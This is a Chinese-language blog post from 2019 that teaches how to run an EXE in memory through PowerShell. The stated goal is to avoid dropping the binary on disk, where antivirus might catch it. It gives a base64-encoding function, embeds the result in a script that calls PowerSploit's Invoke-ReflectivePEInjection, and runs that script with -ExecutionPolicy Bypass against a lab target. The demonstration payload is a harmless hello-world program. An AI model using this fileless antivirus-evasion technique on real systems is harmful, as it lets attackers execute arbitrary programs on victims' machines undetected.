powershell加载EXE进内存运行

当实战中我们想在目标上运行一些相当复杂的功能,这些功能常是 EXE 文件的一部分。我不想直接在目标上放置一个二进制文件,因为这样可能会触发反病毒机制。
一个很好的思路就是将二进制文件嵌入到 Powershell 脚本中,并直接通过脚本运行而不用将其写入到磁盘里。

 

大致思路流程:将我们需要执行的exe文件二进制进过编码转换成字符串,使其成为powershell脚本的一部分,再直接加载进内存运行。

 

 

靶机环境:192.168.5.83 windows 8 x86

 

需求:将helloworld.exe用powershell加载进内存运行

 

 

单独运行helloworld.exe效果:

 

0x01 将二进制文件进行 base64 编码

 

可以使用以下函数:

 

function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String;
}

 

 

 

 

 

 

执行

 . .\base64.ps1

 Convert-BinaryToString C:\Users\Administrator\Desktop\helloworld.exe

 

 

 

 

0X02 调用Invoke-ReflectivePEInjection执行

 

 

PS:Invoke-ReflectivePEInjectionPowerSpolit渗透框架下代码执行模块的一部分

 

地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

 

 

 

在执行之前我需要把base64编码的字符串转换为字符数组

 

# base64 编码的二进制文件

 

$InputString = '...........'

 

function Invoke-ReflectivePEInjection

 

{

 

   ......

   ......

   ......

 

}

 

# 将二进制字符串转为字节数组

 

$PEBytes = [System.Convert]::FromBase64String($InputString)

 

# 在内存中运行 EXE

 

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

 

 

 

 

新建一个my.ps1 将helloworld.exe的base64写入$InputString  运行

 

powershell -ExecutionPolicy Bypass -File my.ps1

 

 

根据嵌入的不同二进制文件,可能会出现以下错误:

PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)

解决这个问题只需要运行 32 位的 PowerShell 即可。

 

 

posted @ 2019-04-01 16:54  卿先生  阅读(5345)  评论(0编辑  收藏  举报